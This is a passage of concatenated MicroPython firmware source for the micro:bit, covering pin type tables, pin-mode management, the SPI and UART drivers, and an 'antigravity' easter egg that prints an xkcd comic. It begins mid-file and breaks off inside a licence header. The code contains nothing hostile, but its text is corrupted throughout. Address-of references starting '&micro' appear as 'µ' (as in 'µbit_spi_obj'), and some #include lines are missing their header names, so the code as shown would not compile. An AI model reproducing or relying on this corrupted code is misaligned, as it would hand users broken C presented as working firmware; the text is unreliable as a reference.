MP_OBJ_NEW_QSTR(MP_QSTR_write_digital), (mp_obj_t)µbit_pin_write_digital_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read_digital), (mp_obj_t)µbit_pin_read_digital_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_write_analog), (mp_obj_t)µbit_pin_write_analog_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read_analog), (mp_obj_t)µbit_pin_read_analog_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period), (mp_obj_t)µbit_pin_set_analog_period_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period_microseconds), (mp_obj_t)µbit_pin_set_analog_period_microseconds_obj }, PULL_CONSTANTS, { MP_OBJ_NEW_QSTR(MP_QSTR_get_pull),(mp_obj_t)µbit_pin_get_pull_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_pull),(mp_obj_t)µbit_pin_set_pull_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_mode), (mp_obj_t)µbit_pin_get_mode_obj }, }; STATIC const mp_map_elem_t microbit_touch_pin_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_write_digital), (mp_obj_t)µbit_pin_write_digital_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read_digital), (mp_obj_t)µbit_pin_read_digital_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_write_analog), (mp_obj_t)µbit_pin_write_analog_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read_analog), (mp_obj_t)µbit_pin_read_analog_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period), (mp_obj_t)µbit_pin_set_analog_period_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period_microseconds), (mp_obj_t)µbit_pin_set_analog_period_microseconds_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_is_touched), (mp_obj_t)µbit_pin_is_touched_obj }, PULL_CONSTANTS, { MP_OBJ_NEW_QSTR(MP_QSTR_get_pull),(mp_obj_t)µbit_pin_get_pull_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_pull),(mp_obj_t)µbit_pin_set_pull_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_mode), (mp_obj_t)µbit_pin_get_mode_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_dig_pin_locals_dict, microbit_dig_pin_locals_dict_table); STATIC MP_DEFINE_CONST_DICT(microbit_ann_pin_locals_dict, microbit_ann_pin_locals_dict_table); STATIC MP_DEFINE_CONST_DICT(microbit_touch_pin_locals_dict, microbit_touch_pin_locals_dict_table); const mp_obj_type_t microbit_dig_pin_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitDigitalPin, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_dig_pin_locals_dict, }; const mp_obj_type_t microbit_ad_pin_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitAnalogDigitalPin, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_ann_pin_locals_dict, }; const mp_obj_type_t microbit_touch_pin_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitTouchPin, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_touch_pin_locals_dict, }; void microbit_pin_init(void) { nrf_gpio_cfg_input(microbit_p5_obj.name, NRF_GPIO_PIN_PULLUP); nrf_gpio_cfg_input(microbit_p11_obj.name, NRF_GPIO_PIN_PULLUP); } const microbit_pin_obj_t *microbit_obj_get_pin(mp_obj_t o) { mp_obj_type_t *type = mp_obj_get_type(o); if (type == µbit_touch_pin_type || type == µbit_ad_pin_type || type == µbit_dig_pin_type) { return (microbit_pin_obj_t*)o; } else { mp_raise_TypeError("expecting a pin"); } } uint8_t microbit_obj_get_pin_name(mp_obj_t o) { return microbit_obj_get_pin(o)->name; } } ================================================ FILE: micropython/source/microbit/microbitpinmode.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/runtime.h" #include "lib/pwm.h" #include "microbit/modmicrobit.h" uint8_t microbit_pinmode_indices[32] = { 0 }; #define DEBUG 0 const microbit_pinmode_t *microbit_pin_get_mode(const microbit_pin_obj_t *pin) { uint8_t pinmode = microbit_pinmode_indices[pin->number]; if (pinmode == 0) { pinmode = pin->initial_mode; } #if DEBUG if (pinmode >= sizeof(microbit_pinmodes)/sizeof(microbit_pinmode_t)) { mp_hal_display_string("Illegal pinmode"); return µbit_pinmodes[0]; } #endif return µbit_pinmodes[pinmode]; } static void set_mode(uint32_t pin, const microbit_pinmode_t *mode) { uint32_t index = mode - µbit_pinmodes[0]; microbit_pinmode_indices[pin] = index; return; } void microbit_obj_pin_free(const microbit_pin_obj_t *pin) { if (pin != NULL) { set_mode(pin->number, microbit_pin_mode_unused); } } bool microbit_obj_pin_can_be_acquired(const microbit_pin_obj_t *pin) { const microbit_pinmode_t *current_mode = microbit_pin_get_mode(pin); return current_mode->release != pinmode_error; } bool microbit_obj_pin_acquire(const microbit_pin_obj_t *pin, const microbit_pinmode_t *new_mode) { const microbit_pinmode_t *current_mode = microbit_pin_get_mode(pin); // The button mode is effectively a digital-in mode, so allow read_digital to work on a button if (current_mode == microbit_pin_mode_button && new_mode == microbit_pin_mode_read_digital) { return false; } if (current_mode != new_mode) { current_mode->release(pin); set_mode(pin->number, new_mode); return true; } else { return false; } } static void noop(const microbit_pin_obj_t *pin) { (void)pin; } void pinmode_error(const microbit_pin_obj_t *pin) { const microbit_pinmode_t *current_mode = microbit_pin_get_mode(pin); nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "Pin %d in %q mode", pin->number, current_mode->name)); } static void analog_release(const microbit_pin_obj_t *pin) { pwm_release(pin->name); } const microbit_pinmode_t microbit_pinmodes[] = { [MODE_UNUSED] = { MP_QSTR_unused, noop }, [MODE_WRITE_ANALOG] = { MP_QSTR_write_analog, analog_release }, [MODE_READ_DIGITAL] = { MP_QSTR_read_digital, noop }, [MODE_WRITE_DIGITAL] = { MP_QSTR_write_digital, noop }, [MODE_DISPLAY] = { MP_QSTR_display, pinmode_error }, [MODE_BUTTON] = { MP_QSTR_button, pinmode_error }, [MODE_MUSIC] = { MP_QSTR_music, pinmode_error }, [MODE_AUDIO_PLAY] = { MP_QSTR_audio, noop }, [MODE_TOUCH] = { MP_QSTR_touch, noop }, [MODE_I2C] = { MP_QSTR_i2c, pinmode_error }, [MODE_SPI] = { MP_QSTR_spi, pinmode_error } }; ================================================ FILE: micropython/source/microbit/microbitspi.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016-2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ extern "C" { #include "spi_api.h" #include "py/runtime.h" #include "microbit/modmicrobit.h" typedef struct _microbit_spi_obj_t { mp_obj_base_t base; spi_t spi; } microbit_spi_obj_t; STATIC void microbit_spi_check_initialised(microbit_spi_obj_t *self) { // the spi variable will be set to a non-zero value by spi_init() if (!self->spi.spi) { mp_raise_ValueError("SPI not initialised"); } } STATIC mp_obj_t microbit_spi_init(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_baudrate, MP_ARG_INT, {.u_int = 1000000} }, { MP_QSTR_bits, MP_ARG_INT, {.u_int = 8} }, { MP_QSTR_mode, MP_ARG_INT, {.u_int = 0} }, { MP_QSTR_sclk, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } }, { MP_QSTR_mosi, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } }, { MP_QSTR_miso, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } }, }; // parse args microbit_spi_obj_t *self = (microbit_spi_obj_t*)pos_args[0]; struct { mp_arg_val_t baudrate, bits, mode, sclk, mosi, miso; } args; mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, (mp_arg_val_t*)&args); // get pins const microbit_pin_obj_t *sclk = µbit_p13_obj; const microbit_pin_obj_t *mosi = µbit_p15_obj; const microbit_pin_obj_t *miso = µbit_p14_obj; if (args.sclk.u_obj != mp_const_none) { sclk = microbit_obj_get_pin(args.sclk.u_obj); } if (args.mosi.u_obj != mp_const_none) { mosi = microbit_obj_get_pin(args.mosi.u_obj); } if (args.miso.u_obj != mp_const_none) { miso = microbit_obj_get_pin(args.miso.u_obj); } // initialise the pins // note: we don't ever free the pins, so init'ing the SPI a second time on // different pins will leave the old pins still in SPI mode microbit_obj_pin_acquire(sclk, microbit_pin_mode_spi); microbit_obj_pin_acquire(mosi, microbit_pin_mode_spi); microbit_obj_pin_acquire(miso, microbit_pin_mode_spi); // initialise the SPI spi_init(&self->spi, (PinName)mosi->name, (PinName)miso->name, (PinName)sclk->name, NC); spi_format(&self->spi, args.bits.u_int, args.mode.u_int, 0); spi_frequency(&self->spi, args.baudrate.u_int); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_spi_init_obj, 1, microbit_spi_init); STATIC mp_obj_t microbit_spi_write(mp_obj_t self_in, mp_obj_t buf_in) { microbit_spi_obj_t *self = (microbit_spi_obj_t*)self_in; microbit_spi_check_initialised(self); mp_buffer_info_t bufinfo; mp_get_buffer_raise(buf_in, &bufinfo, MP_BUFFER_READ); const byte *buf = (const byte*)bufinfo.buf; for (uint i = 0; i < bufinfo.len; ++i, ++buf) { spi_master_write(&self->spi, *buf); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_2(microbit_spi_write_obj, microbit_spi_write); STATIC mp_obj_t microbit_spi_read(size_t n_args, const mp_obj_t *args) { microbit_spi_obj_t *self = (microbit_spi_obj_t*)args[0]; microbit_spi_check_initialised(self); vstr_t vstr; vstr_init_len(&vstr, mp_obj_get_int(args[1])); mp_int_t byte_out = 0; if (n_args == 3) { byte_out = mp_obj_get_int(args[2]); } for (uint i = 0; i < vstr.len; ++i) { vstr.buf[i] = spi_master_write(&self->spi, byte_out); } return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_spi_read_obj, 2, 3, microbit_spi_read); STATIC mp_obj_t microbit_spi_write_readinto(mp_obj_t self_in, mp_obj_t write_buf, mp_obj_t read_buf) { microbit_spi_obj_t *self = (microbit_spi_obj_t*)self_in; microbit_spi_check_initialised(self); mp_buffer_info_t write_bufinfo; mp_get_buffer_raise(write_buf, &write_bufinfo, MP_BUFFER_READ); const byte *wr_buf = (const byte*)write_bufinfo.buf; mp_buffer_info_t read_bufinfo; mp_get_buffer_raise(read_buf, &read_bufinfo, MP_BUFFER_WRITE); byte *rd_buf = (byte*)read_bufinfo.buf; for (uint i = 0; i < write_bufinfo.len; ++i, ++wr_buf, ++rd_buf) { *rd_buf = spi_master_write(&self->spi, *wr_buf); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_3(microbit_spi_write_readinto_obj, microbit_spi_write_readinto); STATIC const mp_map_elem_t microbit_spi_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_init), (mp_obj_t)µbit_spi_init_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_write), (mp_obj_t)µbit_spi_write_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read), (mp_obj_t)µbit_spi_read_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_write_readinto), (mp_obj_t)µbit_spi_write_readinto_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_spi_locals_dict, microbit_spi_locals_dict_table); const mp_obj_type_t microbit_spi_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitSPI, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_spi_locals_dict, }; microbit_spi_obj_t microbit_spi_obj = { {µbit_spi_type}, .spi = {}, }; } ================================================ FILE: micropython/source/microbit/microbituart.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ extern "C" { #include #include "pinmap.h" #include "serial_api.h" #include "py/runtime.h" #include "py/stream.h" #include "py/mphal.h" #include "microbit/modmicrobit.h" // There is only one UART peripheral and it's already used by stdio (and // connected to USB serial). So to access the UART we go through the // mp_hal_stdio functions. The init method can reconfigure the underlying // UART peripheral to a different baudrate and/or pins. typedef struct _microbit_uart_obj_t { mp_obj_base_t base; } microbit_uart_obj_t; // timeout (in ms) to wait between characters when reading STATIC uint16_t microbit_uart_timeout_char = 0; STATIC mp_obj_t microbit_uart_init(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_baudrate, MP_ARG_INT, {.u_int = 9600} }, { MP_QSTR_bits, MP_ARG_INT, {.u_int = 8} }, { MP_QSTR_parity, MP_ARG_OBJ, {.u_obj = mp_const_none} }, { MP_QSTR_stop, MP_ARG_INT, {.u_int = 1} }, { MP_QSTR_pins, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } }, { MP_QSTR_tx, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } }, { MP_QSTR_rx, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } }, }; // parse args //microbit_uart_obj_t *self = (microbit_uart_obj_t*)pos_args[0]; mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); SerialParity parity; if (args[2].u_obj == mp_const_none) { parity = ParityNone; } else { parity = (SerialParity)mp_obj_get_int(args[2].u_obj); } // default pins are the internal USB-UART pins PinName p_tx = TGT_TX; PinName p_rx = TGT_RX; // set tx/rx pins if they are given if (args[5].u_obj != mp_const_none) { p_tx = (PinName)microbit_obj_get_pin_name(args[5].u_obj); } if (args[6].u_obj != mp_const_none) { p_rx = (PinName)microbit_obj_get_pin_name(args[6].u_obj); } // support for legacy "pins" argument if (args[4].u_obj != mp_const_none) { mp_obj_t *pins; mp_obj_get_array_fixed_n(args[4].u_obj, 2, &pins); p_tx = (PinName)microbit_obj_get_pin_name(pins[0]); p_rx = (PinName)microbit_obj_get_pin_name(pins[1]); } // initialise the uart // Note: we don't want to call serial_init() because it sends a single 0x00 // character on the line during initialisation. This function has anyway // already been called by the MicroBitSerial constructor so it's enough to // just reconfigure the pins here, as would have been done by serial_init(). serial_t serial; serial.uart = NRF_UART0; NRF_GPIO->DIR |= (1 << p_tx); NRF_GPIO->DIR &= ~(1 << p_rx); NRF_UART0->PSELTXD = p_tx; NRF_UART0->PSELRXD = p_rx; pin_mode(p_tx, PullUp); pin_mode(p_rx, PullUp); serial_baud(&serial, args[0].u_int); serial_format(&serial, args[1].u_int, parity, args[3].u_int); // set the character read timeout based on the baudrate and 13 bits microbit_uart_timeout_char = 13000 / args[0].u_int + 1; return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_uart_init_obj, 1, microbit_uart_init); STATIC mp_obj_t microbit_uart_any(mp_obj_t self_in) { (void)self_in; if (mp_hal_stdin_rx_any()) { return mp_const_true; } else { return mp_const_false; } } MP_DEFINE_CONST_FUN_OBJ_1(microbit_uart_any_obj, microbit_uart_any); STATIC const mp_map_elem_t microbit_uart_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_init), (mp_obj_t)µbit_uart_init_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_any), (mp_obj_t)µbit_uart_any_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read), (mp_obj_t)&mp_stream_read_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_readline), (mp_obj_t)&mp_stream_unbuffered_readline_obj}, { MP_OBJ_NEW_QSTR(MP_QSTR_readinto), (mp_obj_t)&mp_stream_readinto_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_write), (mp_obj_t)&mp_stream_write_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ODD), MP_OBJ_NEW_SMALL_INT(ParityOdd) }, { MP_OBJ_NEW_QSTR(MP_QSTR_EVEN), MP_OBJ_NEW_SMALL_INT(ParityEven) }, }; STATIC MP_DEFINE_CONST_DICT(microbit_uart_locals_dict, microbit_uart_locals_dict_table); // Waits at most timeout_ms for at least 1 char to become ready for reading. // Returns true if something available, false if not. STATIC bool microbit_uart_rx_wait(uint32_t timeout_ms) { uint32_t start = mp_hal_ticks_ms(); for (;;) { if (mp_hal_stdin_rx_any()) { return true; // have at least 1 character waiting } if (mp_hal_ticks_ms() - start >= timeout_ms) { return false; // timeout } } } STATIC mp_uint_t microbit_uart_read(mp_obj_t self_in, void *buf_in, mp_uint_t size, int *errcode) { (void)self_in; byte *buf = (byte*)buf_in; (void)errcode; // make sure we want at least 1 char if (size == 0) { return 0; } // check there is at least 1 char available if (!mp_hal_stdin_rx_any()) { *errcode = EAGAIN; return MP_STREAM_ERROR; } // read the data byte *orig_buf = buf; for (;;) { *buf++ = mp_hal_stdin_rx_chr(); if (--size == 0 || !microbit_uart_rx_wait(microbit_uart_timeout_char)) { // return number of bytes read return buf - orig_buf; } } } STATIC mp_uint_t microbit_uart_write(mp_obj_t self_in, const void *buf_in, mp_uint_t size, int *errcode) { (void)self_in; const char *buf = (const char*)buf_in; (void)errcode; mp_hal_stdout_tx_strn(buf, size); return size; } STATIC const mp_stream_p_t microbit_uart_stream_p = { .read = microbit_uart_read, .write = microbit_uart_write, .ioctl = NULL, .is_text = false, }; const mp_obj_type_t microbit_uart_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitUART, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = µbit_uart_stream_p, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_uart_locals_dict, }; microbit_uart_obj_t microbit_uart_obj = { {µbit_uart_type}, }; } ================================================ FILE: micropython/source/microbit/modantigravity.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * Copyright (c) 2016 Joe Glancy * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include extern "C" { #include "py/mphal.h" #include "microbit/modmicrobit.h" #define GET_PIXEL(x, y) microbit_display_get_pixel(µbit_display_obj, x, y) #define SET_PIXEL(x, y, v) microbit_display_set_pixel(µbit_display_obj, x, y, v) STATIC void antigravity_output_char(char c) { MP_PLAT_PRINT_STRN((char*) &c, 1); } // NOTE: string has to be plain ASCII static void antigravity_print_rle(const char *s) { /* RLE encoding format (2 characters, [0] (first) and [1] (second)): * [0] the amount of times to output the specified character (max 127), * bitwise or'ed with 0x80 (to set the last bit, ie: bit 7) * [1] the character to output */ char reps; // how many times to output the specified character while (*s != '\0') { if ((*s & 0x80) == 0x80) { // seventh bit set reps = *s ^ 0x80; s++; if (*s == '\0') { return; } while (reps--) { antigravity_output_char(*s); } } else { antigravity_output_char(*s); } s++; } } /* uncomment the following line if you want to build the antigravity module with * the full comic instead of the micro one */ //#define ANTIGRAVITY_COMIC_LARGE void antigravity(uint8_t interval = 200 /* ms */) { /* move all of the LEDs upwards (we can move them in other directions in the * future). * first, output the traditional XKCD comic (either in full or micro:size :) */ #ifndef ANTIGRAVITY_COMIC_LARGE /* micro comic (157 bytes): +-xkcd.com/353---------------------------------------------------+ | | | \0/ | | / \ | | You're flying! MicroPython! /| | | How? \ \ | | / | | 0 | | /|\ | | | | |-----____/_\______________________________----------------------| | | +----------------------------------------------------------------+ */ static const char *antigravity_comic_str = "+-xkcd.com/353\xb3-+\n" "|\xc0 |\n" "|\xb4 \\0/\x89 |\n" "|\xb2 /\x83 \\\x89 |\n" "|\x88 You're flying!\x92 MicroPython! /|\x88 |\n" "|\x8c How?\xa6 \\ \\\x87 |\n" "|\x8c /\xb3 |\n" "|\x8a 0\xb5 |\n" "|\x89 /|\\\xb4 |\n" "|\x8a |\xb5 |\n" "|\x85-\x84_/_\\\x9e_\x96-|\n" "|\xc0 |\n" "+\xc0-+\n"; #else /* full comic (922 bytes): +-xkcd.com/353-----------------------------------------------------------------+ | | | \0/ | | / \ | | You're flying! MicroPython! /| | | How? \ \ | | / | | 0 | | /|\ | | | | |--------------____/_\_______________________________--------------------------| | | | | +------------------------------------------------------------------------------+ +-----------------------+ +-------------------------+ +------------------------+ | | | I dunno... | | | I just typed | | 0 | | Dynamic typing? / | | import antigravity | | _/\\_ | | Whitespace? / | | | | | / \// | | / / | | That's it? / | | I learned it last | | | Come join us! | | / / | | night! Everything | | | Programming | | / ...I also | | is so simple! | | | is fun again! | | / sampled | | / | | | It's a whole | | | everything in the | | / | | | new world | | | medicine cabinet | | Hello world is | | | up here! | | | for comparison. | | just | | 0 | | 0 | | | | | /|\/ | | /|\ But I think | | print("Hello, world!")| | | \_ But how are | | | this is the | | | | / \ you flying? | | / \ Python. | +-----------------------+ +-------------------------+ +------------------------+ */ static const char *antigravity_comic_str = "+-xkcd.com/353\xc1-+\n" "|\xce |\n" "|\xbe \\0/\x8d |\n" "|\xbc /\x83 \\\x8d |\n" "|\x91 You're flying!\x93 MicroPython! /|\x8c |\n" "|\x95 How?\xa7 \\ \\\x8b |\n" "|\x95 /\xb8 |\n" "|\x93 0\xba |\n" "|\x92 /|\\\xb9 |\n" "|\x93 |\xba |\n" "|\x8e-\x84_/_\\\x9f_\x9a-|\n" "|\xce |\n" "|\xce |\n" "+\xce-+\n" "+\x97-+ +\x99-+ +\x98-+\n" "|\x97 | |\x84 I dunno\x83.\x87 |\x83 | |\x86 I just typed\x86 |\n" "|\x89 0\x8d | | Dynamic typing?\x83 /\x84 | |\x83 import antigravity\x83 |\n" "|\x88 _/\\\\_\x8a | |\x84 Whitespace?\x84 /\x85 | |\x92 |\x85 |\n" "|\x85 /\x85 \\//\x89 | |\x84 /\x8d /\x86 | |\x85 That's it? /\x86 |\n" "|\x83 I learned it last\x83 | |\x83 |\x86 Come join us! | |\x85 /\x8a /\x87 |\n" "|\x83 night! Everything\x83 | |\x83 |\x87 Programming\x83 | |\x84 /\x84 \x83.I also\x86 |\n" "|\x85 is so simple!\x85 | |\x83 |\x86 is fun again! | |\x83 /\x86 sampled\x87 |\n" "|\x8c /\x8a | |\x83 |\x86 It's a whole | | | everything in the |\n" "|\x8b /\x8b | |\x83 |\x87 new world\x84 | | | medicine cabinet\x83 |\n" "|\x85 Hello world is\x84 | |\x83 |\x88 up here!\x85 | | |\x83 for comparison.\x83 |\n" "|\x89 just\x8a | |\x83 0\x95 | |\x83 0\x89 |\x8a |\n" "|\x97 | | /|\\/\x93 | | /|\\\x84 But I think\x84 |\n" "| print(\"Hello, world!\")| |\x83 |\x83 \\_ But how are\x84 | |\x83 |\x85 this is the\x84 |\n" "|\x97 | | / \\\x85 you flying?\x84 | | / \\\x86 Python.\x86 |\n" "+\x97-+ +\x99-+ +\x98-+\n"; #endif /* ANTIGRAVITY_COMIC_LARGE */ antigravity_print_rle(antigravity_comic_str); for (uint8_t iteration = 0; iteration < 5; iteration++) { mp_hal_delay_ms(interval); bool wait = false; for (uint8_t row = 1; row < 5 - iteration; row++) { for (uint8_t col = 0; col < 5; col++) { // move this bit down if possible uint8_t val = GET_PIXEL(col, row); if (val) { // this is why the row for loop starts at one if (!GET_PIXEL(col, row - 1)) { SET_PIXEL(col, row, 0); SET_PIXEL(col, row - 1, val); wait = true; } } // we don't care if the LED is off } } if (!wait) { continue; } } } STATIC mp_obj_t antigravity__init__(void) { antigravity(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(antigravity___init___obj, antigravity__init__); STATIC const mp_map_elem_t antigravity_module_globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_antigravity) }, { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&antigravity___init___obj }, }; STATIC MP_DEFINE_CONST_DICT(antigravity_module_globals, antigravity_module_globals_table); const mp_obj_module_t antigravity_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&antigravity_module_globals, }; } ================================================ FILE: micropython/source/microbit/modaudio.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT 